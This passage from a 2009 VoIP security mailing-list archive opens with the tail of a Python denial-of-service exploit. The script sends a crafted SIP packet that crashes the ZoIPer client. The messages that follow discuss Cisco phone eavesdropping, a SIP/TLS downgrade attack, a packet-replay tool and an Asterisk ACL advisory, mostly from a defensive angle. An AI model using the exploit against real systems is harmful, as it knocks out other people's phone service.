					"\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\
					"\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\
					"\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\
					"\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\
					"\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a"
	
	os.system("cls")				
	print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"
	print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)
	
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	try:
		s.connect((target_host,target_port))
		print "[+] Trying To Send Evil Packet...\r\n"
		s.sendall(evil_packet)
		s.close()
		print "[+] Done!\r\n"
	except:
		print "[x] Connection Error!\r\n"


if (__name__ == "__main__"):
	sys.exit(main(len(sys.argv), sys.argv))
	
#----------------------------------------------

# RIP - milw0rm, or the king is dead long live the new king inj3ct0r.com

# ThE End =]  Visit my proj3ct  :

# http://inj3ct0r.com
# http://inj3ct0r.org
# http://inj3ct0r.net


# ~  - [ [ : Inj3ct0r : ] ]


From jpo at pobox.com  Tue Oct 20 04:08:27 2009
From: jpo at pobox.com (Jason Ostrom)
Date: Mon, 19 Oct 2009 22:08:27 -0500
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <B8F0106AB1784A84928B392635EC05D4@Office>
References: <B8F0106AB1784A84928B392635EC05D4@Office>
Message-ID: <4ADD29AB.3020203@pobox.com>

Bob,

By "remote eavesdropping", I believe you are referring to the 
vulnerability that Cisco confirmed and acknowledged over two years ago 
involving the Extension Mobility feature, credit to Joffey Czarny [1].  
The implementation of this attack as I know it exists involves sending 
http xml commands to the web service of the Unified IP Phone, with valid 
extension mobility credentials.

In the notice you can see recommended security practices to help 
mitigate against this issue.  It's funny because yet again we come full 
circle and this issue proves one of the oldest InfoSec problems.  When 
you gain access to one's credentials, bad things can happen.  Same for 
VoIP applications as it is for any other application (i.e.Email).  From 
what I have heard this extension mobility is a very popular feature so a 
lot of customers wouldn't want to disable it.  The largest risk that I 
see is that an end user (user A) can be a valid, trusted internal 
extension mobility user, and uses his/her own set of credentials in 
order to carry out this remote wiretapping against anyone else's phone 
(user B).  So assuming you have already accepted the risk of trusted 
insiders abusing the application service, here are some recommendations:

1)  Enforce strong password policies
2)  Enforce http / tls - dont' send http passwords in the clear ( a 
little difficult to do in this case )
3)  Enforce layer 2 security controls to prevent Sniffing (Cisco DAI, or 
equivalent)
4)  Strong physical security / screening of users

So to help solve the problem of valid user A wiretapping user B, you 
need to have some way of easily logging the http xml commands when an 
extension mobility user is logged out and RTP immediately gets sent to a 
remote station over the network.  Something to log a potential security 
incident.

Cisco Security Response:  Cisco Unified IP Phone Remote Eavesdropping
http://www.cisco.com/warp/public/707/cisco-sr-20071128-phone.pdf

brolen wrote:
> Since the inception of your group, have you identified a clear cut strategy to detect, identify and guard against remote eavesdropping on a VOIP system such as the Cisco-IP phone.  In addition, what tests are being used to identify the activation of the remote maintenance or remote observation features.
>
> I would certainly like to hear from some of your members regarding the defenses and protections for VOIP systems that a company can logically employ.
>
> In addition, has anyone made any headway into the detection and removal of Trojans or rootkits on cellphones.  This appears to be a rather large effort for attacking devices such as I-phones, Blackberrys etc.
>
> Thanks, 
> Bob Rolen
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
>   




From gilgil1973 at gmail.com  Wed Oct 21 00:05:23 2009
From: gilgil1973 at gmail.com (Gilbert Lee)
Date: Wed, 21 Oct 2009 08:05:23 +0900
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <4ADD29AB.3020203@pobox.com>
References: <B8F0106AB1784A84928B392635EC05D4@Office>
	<4ADD29AB.3020203@pobox.com>
Message-ID: <bcd8bfb50910201605o34529bcdof8f37df88f577cc5@mail.gmail.com>

Hi, all.This year, I've analyzed SIP over TLS and SRTP.
What if port number 5061(default port number for cipher text communication)
is blocked through network by an attacker?
If I were a attacker(hacker), I would not sniff TLS message because it is
hard to be analyzed.
Instead of it, attacker would block 5061 port and the SIP device would send
plain(not cipher) SIP message using 5060 port for backward compatibility.
In this way, attacker can obtain SIP message and RTP key(Pre-Shared Key)
used in RTP communication easily.
It may be a sort of SSL strip hacking technique as I think.

What do you think of it?

Regards,
Gilbert

On Tue, Oct 20, 2009 at 12:08 PM, Jason Ostrom <jpo at pobox.com> wrote:

> Bob,
>
> By "remote eavesdropping", I believe you are referring to the vulnerability
> that Cisco confirmed and acknowledged over two years ago involving the
> Extension Mobility feature, credit to Joffey Czarny [1].  The implementation
> of this attack as I know it exists involves sending http xml commands to the
> web service of the Unified IP Phone, with valid extension mobility
> credentials.
>
> In the notice you can see recommended security practices to help mitigate
> against this issue.  It's funny because yet again we come full circle and
> this issue proves one of the oldest InfoSec problems.  When you gain access
> to one's credentials, bad things can happen.  Same for VoIP applications as
> it is for any other application (i.e.Email).  From what I have heard this
> extension mobility is a very popular feature so a lot of customers wouldn't
> want to disable it.  The largest risk that I see is that an end user (user
> A) can be a valid, trusted internal extension mobility user, and uses
> his/her own set of credentials in order to carry out this remote wiretapping
> against anyone else's phone (user B).  So assuming you have already accepted
> the risk of trusted insiders abusing the application service, here are some
> recommendations:
>
> 1)  Enforce strong password policies
> 2)  Enforce http / tls - dont' send http passwords in the clear ( a little
> difficult to do in this case )
> 3)  Enforce layer 2 security controls to prevent Sniffing (Cisco DAI, or
> equivalent)
> 4)  Strong physical security / screening of users
>
> So to help solve the problem of valid user A wiretapping user B, you need
> to have some way of easily logging the http xml commands when an extension
> mobility user is logged out and RTP immediately gets sent to a remote
> station over the network.  Something to log a potential security incident.
>
> Cisco Security Response:  Cisco Unified IP Phone Remote Eavesdropping
> http://www.cisco.com/warp/public/707/cisco-sr-20071128-phone.pdf
>
>
> brolen wrote:
>
>> Since the inception of your group, have you identified a clear cut
>> strategy to detect, identify and guard against remote eavesdropping on a
>> VOIP system such as the Cisco-IP phone.  In addition, what tests are being
>> used to identify the activation of the remote maintenance or remote
>> observation features.
>>
>> I would certainly like to hear from some of your members regarding the
>> defenses and protections for VOIP systems that a company can logically
>> employ.
>>
>> In addition, has anyone made any headway into the detection and removal of
>> Trojans or rootkits on cellphones.  This appears to be a rather large effort
>> for attacking devices such as I-phones, Blackberrys etc.
>>
>> Thanks, Bob Rolen
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>>
>>
>
>
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>

From Felix.Wyss at inin.com  Wed Oct 21 01:46:10 2009
From: Felix.Wyss at inin.com (Wyss, Felix)
Date: Tue, 20 Oct 2009 20:46:10 -0400
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <bcd8bfb50910201605o34529bcdof8f37df88f577cc5@mail.gmail.com>
References: <B8F0106AB1784A84928B392635EC05D4@Office>
	<4ADD29AB.3020203@pobox.com>
	<bcd8bfb50910201605o34529bcdof8f37df88f577cc5@mail.gmail.com>
Message-ID: <B043FD61A001424599674F50FC89C2D754F65B3495@ININMAIL.i3domain.inin.com>

That's a classic downgrade attack ("weakest link") and not specific to SIP over TLS/TCP.  If you don't configure your VoIP system to require the use of TLS for all security relevant signaling, you may just as well save yourself the trouble of using TLS.  

--Felix

> -----Original Message-----
> From: voipsec-bounces at voipsa.org [mailto:voipsec-bounces at voipsa.org] On
> Behalf Of Gilbert Lee
> Sent: Tuesday, October 20, 2009 19:05
> To: voipsec at voipsa.org
> Cc: brolen
> Subject: Re: [VOIPSEC] VOIP Telephone exploitation
> 
> Hi, all.This year, I've analyzed SIP over TLS and SRTP.
> What if port number 5061(default port number for cipher text
> communication)
> is blocked through network by an attacker?
> If I were a attacker(hacker), I would not sniff TLS message because it is
> hard to be analyzed.
> Instead of it, attacker would block 5061 port and the SIP device would
> send
> plain(not cipher) SIP message using 5060 port for backward compatibility.
> In this way, attacker can obtain SIP message and RTP key(Pre-Shared Key)
> used in RTP communication easily.
> It may be a sort of SSL strip hacking technique as I think.
> 
> What do you think of it?
> 
> Regards,
> Gilbert
> 
> On Tue, Oct 20, 2009 at 12:08 PM, Jason Ostrom <jpo at pobox.com> wrote:
> 
> > Bob,
> >
> > By "remote eavesdropping", I believe you are referring to the
> vulnerability
> > that Cisco confirmed and acknowledged over two years ago involving the
> > Extension Mobility feature, credit to Joffey Czarny [1].  The
> implementation
> > of this attack as I know it exists involves sending http xml commands to
> the
> > web service of the Unified IP Phone, with valid extension mobility
> > credentials.
> >
> > In the notice you can see recommended security practices to help
> mitigate
> > against this issue.  It's funny because yet again we come full circle
> and
> > this issue proves one of the oldest InfoSec problems.  When you gain
> access
> > to one's credentials, bad things can happen.  Same for VoIP applications
> as
> > it is for any other application (i.e.Email).  From what I have heard
> this
> > extension mobility is a very popular feature so a lot of customers
> wouldn't
> > want to disable it.  The largest risk that I see is that an end user
> (user
> > A) can be a valid, trusted internal extension mobility user, and uses
> > his/her own set of credentials in order to carry out this remote
> wiretapping
> > against anyone else's phone (user B).  So assuming you have already
> accepted
> > the risk of trusted insiders abusing the application service, here are
> some
> > recommendations:
> >
> > 1)  Enforce strong password policies
> > 2)  Enforce http / tls - dont' send http passwords in the clear ( a
> little
> > difficult to do in this case )
> > 3)  Enforce layer 2 security controls to prevent Sniffing (Cisco DAI, or
> > equivalent)
> > 4)  Strong physical security / screening of users
> >
> > So to help solve the problem of valid user A wiretapping user B, you
> need
> > to have some way of easily logging the http xml commands when an
> extension
> > mobility user is logged out and RTP immediately gets sent to a remote
> > station over the network.  Something to log a potential security
> incident.
> >
> > Cisco Security Response:  Cisco Unified IP Phone Remote Eavesdropping
> > http://www.cisco.com/warp/public/707/cisco-sr-20071128-phone.pdf
> >
> >
> > brolen wrote:
> >
> >> Since the inception of your group, have you identified a clear cut
> >> strategy to detect, identify and guard against remote eavesdropping on
> a
> >> VOIP system such as the Cisco-IP phone.  In addition, what tests are
> being
> >> used to identify the activation of the remote maintenance or remote
> >> observation features.
> >>
> >> I would certainly like to hear from some of your members regarding the
> >> defenses and protections for VOIP systems that a company can logically
> >> employ.
> >>
> >> In addition, has anyone made any headway into the detection and removal
> of
> >> Trojans or rootkits on cellphones.  This appears to be a rather large
> effort
> >> for attacking devices such as I-phones, Blackberrys etc.
> >>
> >> Thanks, Bob Rolen
> >> _______________________________________________
> >> Voipsec mailing list
> >> Voipsec at voipsa.org
> >> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
> >>
> >>
> >>
> >
> >
> >
> > _______________________________________________
> > Voipsec mailing list
> > Voipsec at voipsa.org
> > http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
> >
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org




From dyork at voxeo.com  Thu Oct 22 21:05:10 2009
From: dyork at voxeo.com (Dan York)
Date: Thu, 22 Oct 2009 16:05:10 -0400
Subject: [VOIPSEC] FYI - Blue Box Podcast #86 now available - an update on
	the show
Message-ID: <BB4A4AC8-A8B4-4727-A9A5-EA1BB6FA57F3@voxeo.com>

VOIPSEC readers,

Please don't die of shock... but yes, indeed, after a year away,  
Jonathan and I did actually post a new Blue Box podcast:

http://www.blueboxpodcast.com/2009/10/blue-box-86-an-update-on-blue-box-one-year-later.html

Primarily the show is an update on what we have been up to over the  
last year and a bit about the state of VoIP security over that year.

Enjoy,
Dan

-- 
Dan York, Director of Conversations
Voxeo Corporation   http://www.voxeo.com  dyork at voxeo.com
Phone: +1-407-455-5859    Skype: danyork

Join the Voxeo conversation:
Blogs: http://blogs.voxeo.com
Twitter: http://twitter.com/voxeo  http://twitter.com/danyork
Facebook: http://www.facebook.com/voxeo










From klaus.mailinglists at pernau.at  Fri Oct 23 15:11:34 2009
From: klaus.mailinglists at pernau.at (Klaus Darilion)
Date: Fri, 23 Oct 2009 16:11:34 +0200
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <B8F0106AB1784A84928B392635EC05D4@Office>
References: <B8F0106AB1784A84928B392635EC05D4@Office>
Message-ID: <4AE1B996.8040607@pernau.at>



brolen schrieb:
> Since the inception of your group, have you identified a clear cut
> strategy to detect, identify and guard against remote eavesdropping
> on a VOIP system such as the Cisco-IP phone.  In addition, what tests
> are being used to identify the activation of the remote maintenance
> or remote observation features.

You can use the same techniques you are already using to prevent that 
somebody eavesdrops your email/http connections, e.g.
- secure your LAN against ARP spoofing
- use encryption (IPsec, TLS+SRTP)

regards
klaus

> 
> I would certainly like to hear from some of your members regarding
> the defenses and protections for VOIP systems that a company can
> logically employ.
> 
> In addition, has anyone made any headway into the detection and
> removal of Trojans or rootkits on cellphones.  This appears to be a
> rather large effort for attacking devices such as I-phones,
> Blackberrys etc.
> 
> Thanks, Bob Rolen _______________________________________________ 
> Voipsec mailing list Voipsec at voipsa.org 
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org


From gilgil1973 at gmail.com  Fri Oct 23 20:26:42 2009
From: gilgil1973 at gmail.com (Gilbert Lee)
Date: Sat, 24 Oct 2009 04:26:42 +0900
Subject: [VOIPSEC] packet generator program
Message-ID: <bcd8bfb50910231226h75db780bi1630d922d934d100@mail.gmail.com>

Hi, all. I am Gilbert.

Whenever you make and debug a packet capturing and analyzing program,
you are forced to generate packets again and again using a certain network
application.
This tool enables you to generate and send packets easily
using given capture file(*.cap) to a specific network adapter.
I hope this helps.

http://www.gilgil.net/653

Regards,
Gilbert.

From tmaufer at mudynamics.com  Sat Oct 24 20:27:47 2009
From: tmaufer at mudynamics.com (Thomas Maufer)
Date: Sat, 24 Oct 2009 12:27:47 -0700
Subject: [VOIPSEC] packet generator program
In-Reply-To: <6F3C202D-80AB-4875-AF5B-3C1B9363D3BD@mudynamics.com>
References: <mailman.1.1256382002.7526.voipsec_voipsa.org@voipsa.org>
	<6F3C202D-80AB-4875-AF5B-3C1B9363D3BD@mudynamics.com>
Message-ID: <9FF29EC3-39F1-42DC-A4D9-E5BA0E29ADFB@mudynamics.com>

> How is this program different from tcpreplay?
>
> ~tom
>
> Typos courtesy of my iPhone
>
>
>
> On Oct 24, 2009, at 4:10, "voipsec-request at voipsa.org" <voipsec-request at voipsa.org 
> > wrote:
>
>> Send Voipsec mailing list submissions to
>>   voipsec at voipsa.org
>>
>> To subscribe or unsubscribe via the World Wide Web, visit
>>   http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>> or, via email, send a message with subject or body 'help' to
>>   voipsec-request at voipsa.org
>>
>> You can reach the person managing the list at
>>   voipsec-owner at voipsa.org
>>
>> When replying, please edit your Subject line so it is more specific
>> than "Re: Contents of Voipsec digest..."
>>
>>
>> Today's Topics:
>>
>>  1. Re: VOIP Telephone exploitation (Klaus Darilion)
>>  2. packet generator program (Gilbert Lee)
>>
>>
>> --- 
>> -------------------------------------------------------------------
>>
>> Message: 1
>> Date: Fri, 23 Oct 2009 16:11:34 +0200
>> From: Klaus Darilion <klaus.mailinglists at pernau.at>
>> To: brolen <brolen at mindspring.com>
>> Cc: voipsec at voipsa.org
>> Subject: Re: [VOIPSEC] VOIP Telephone exploitation
>> Message-ID: <4AE1B996.8040607 at pernau.at>
>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>
>>
>>
>> brolen schrieb:
>>> Since the inception of your group, have you identified a clear cut
>>> strategy to detect, identify and guard against remote eavesdropping
>>> on a VOIP system such as the Cisco-IP phone.  In addition, what  
>>> tests
>>> are being used to identify the activation of the remote maintenance
>>> or remote observation features.
>>
>> You can use the same techniques you are already using to prevent that
>> somebody eavesdrops your email/http connections, e.g.
>> - secure your LAN against ARP spoofing
>> - use encryption (IPsec, TLS+SRTP)
>>
>> regards
>> klaus
>>
>>>
>>> I would certainly like to hear from some of your members regarding
>>> the defenses and protections for VOIP systems that a company can
>>> logically employ.
>>>
>>> In addition, has anyone made any headway into the detection and
>>> removal of Trojans or rootkits on cellphones.  This appears to be a
>>> rather large effort for attacking devices such as I-phones,
>>> Blackberrys etc.
>>>
>>> Thanks, Bob Rolen _______________________________________________
>>> Voipsec mailing list Voipsec at voipsa.org
>>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>>
>>
>> ------------------------------
>>
>> Message: 2
>> Date: Sat, 24 Oct 2009 04:26:42 +0900
>> From: Gilbert Lee <gilgil1973 at gmail.com>
>> To: voipsec at voipsa.org
>> Subject: [VOIPSEC] packet generator program
>> Message-ID:
>>   <bcd8bfb50910231226h75db780bi1630d922d934d100 at mail.gmail.com>
>> Content-Type: text/plain; charset=ISO-8859-1
>>
>> Hi, all. I am Gilbert.
>>
>> Whenever you make and debug a packet capturing and analyzing program,
>> you are forced to generate packets again and again using a certain  
>> network
>> application.
>> This tool enables you to generate and send packets easily
>> using given capture file(*.cap) to a specific network adapter.
>> I hope this helps.
>>
>> http://www.gilgil.net/653
>>
>> Regards,
>> Gilbert.
>>
>>
>> ------------------------------
>>
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>>
>> End of Voipsec Digest, Vol 58, Issue 8
>> **************************************
>>
>>


From gilgil1973 at gmail.com  Sat Oct 24 23:29:48 2009
From: gilgil1973 at gmail.com (Gilbert Lee)
Date: Sun, 25 Oct 2009 07:29:48 +0900
Subject: [VOIPSEC] packet generator program
In-Reply-To: <9FF29EC3-39F1-42DC-A4D9-E5BA0E29ADFB@mudynamics.com>
References: <mailman.1.1256382002.7526.voipsec_voipsa.org@voipsa.org>
	<6F3C202D-80AB-4875-AF5B-3C1B9363D3BD@mudynamics.com>
	<9FF29EC3-39F1-42DC-A4D9-E5BA0E29ADFB@mudynamics.com>
Message-ID: <bcd8bfb50910241529n65e88979lfe898680b550b621@mail.gmail.com>

Hi, Thomas Maufer.
This month, when I was making a packet capture program,
I found network had shut down in Access Point in my office.
And I thought of such a program, and made it for myself in a few hours.
I didn't know "tcpreplay" before you told me. It seems to be good tools for
me. :)
Anyway, thank you for your information.

Regards,
Gilbert

On Sun, Oct 25, 2009 at 4:27 AM, Thomas Maufer <tmaufer at mudynamics.com>wrote:

> How is this program different from tcpreplay?
>>
>> ~tom
>>
>> Typos courtesy of my iPhone
>>
>>
>>

From security at asterisk.org  Mon Oct 26 20:26:49 2009
From: security at asterisk.org (Asterisk Security Team)
Date: Mon, 26 Oct 2009 15:26:49 -0500
Subject: [VOIPSEC] AST-2009-007: ACL not respected on SIP INVITE
Message-ID: <E1N2W9R-0003q0-AI@mail.digium.com>

               Asterisk Project Security Advisory - AST-2009-007

   +------------------------------------------------------------------------+
   |      Product       | Asterisk                                          |
   |--------------------+---------------------------------------------------|
   |      Summary       | ACL not respected on SIP INVITE                   |
   |--------------------+---------------------------------------------------|
   | Nature of Advisory | Unauthorized calls allowed on prohibited networks |
   |--------------------+---------------------------------------------------|
   |   Susceptibility   | Remote unauthorized session                       |
   |--------------------+---------------------------------------------------|
   |      Severity      | Critical                                          |
   |--------------------+---------------------------------------------------|
   |   Exploits Known   | No                                                |
   |--------------------+---------------------------------------------------|
   |    Reported On     | October 18, 2009                                  |
   |--------------------+---------------------------------------------------|
   |    Reported By     | Thomas Athineou <thom_winkler AT web DOT de>      |
   |--------------------+---------------------------------------------------|
   |     Posted On      | October 26, 2009                                  |
   |--------------------+---------------------------------------------------|
   |  Last Updated On   | October 26, 2009                                  |
   |--------------------+---------------------------------------------------|
   |  Advisory Contact  | Jeff Peeler <jpeeler AT digium DOT com>           |
   |--------------------+---------------------------------------------------|
   |      CVE Name      |                                                   |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Description | A missing ACL check for handling SIP INVITEs allows a    |
   |             | device to make calls on networks intended to be          |
   |             | prohibited as defined by the "deny" and "permit" lines   |
   |             | in sip.conf. The ACL check for handling SIP              |
   |             | registrations was not affected.                          |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Resolution | Users should upgrade to a version listed in the           |
   |            | "Corrected In" section below.                             |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                           Affected Versions                            |
   |------------------------------------------------------------------------|
   |            Product            | Release Series |                       |
   |-------------------------------+----------------+-----------------------|
   |     Asterisk Open Source      |     1.2.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |     Asterisk Open Source      |     1.4.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |     Asterisk Open Source      |     1.6.x      | All 1.6.1 versions    |
   |-------------------------------+----------------+-----------------------|
   |        Asterisk Addons        |     1.2.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |        Asterisk Addons        |     1.4.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |        Asterisk Addons        |     1.6.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |   Asterisk Business Edition   |     A.x.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |   Asterisk Business Edition   |     B.x.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |   Asterisk Business Edition   |     C.x.x      | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |          AsteriskNOW          |      1.5       | Unaffected            |
   |-------------------------------+----------------+-----------------------|
   |  s800i (Asterisk Appliance)   |     1.2.x      | Unaffected            |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                              Corrected In                              |
   |------------------------------------------------------------------------|
   |                   Product                   |         Release          |
   |---------------------------------------------+--------------------------|
   |         Open Source Asterisk 1.6.1          |         1.6.1.8          |
   +------------------------------------------------------------------------+

  +----------------------------------------------------------------------------+
  |                                  Patches                                   |
  |----------------------------------------------------------------------------|
  |                              SVN URL                               |Version|
  |--------------------------------------------------------------------+-------|
  |http://downloads.digium.com/pub/security/AST-2009-007-1.6.1.diff.txt| 1.6.1 |
  +----------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |        Links        |                                                  |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Asterisk Project Security Advisories are posted at                     |
   | http://www.asterisk.org/security                                       |
   |                                                                        |
   | This document may be superseded by later versions; if so, the latest   |
   | version will be posted at                                              |
   | http://downloads.digium.com/pub/security/AST-2009-007.pdf and          |
   | http://downloads.digium.com/pub/security/AST-2009-007.html             |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                            Revision History                            |
   |------------------------------------------------------------------------|
   |          Date          |      Editor      |       Revisions Made       |
   |------------------------+------------------+----------------------------|
   | October 26, 2009       | Jeff Peeler      | Initial release            |
   +------------------------------------------------------------------------+

               Asterisk Project Security Advisory - AST-2009-007
              Copyright (c) 2009 Digium, Inc. All Rights Reserved.
  Permission is hereby granted to distribute and publish this advisory in its
                           original, unaltered form.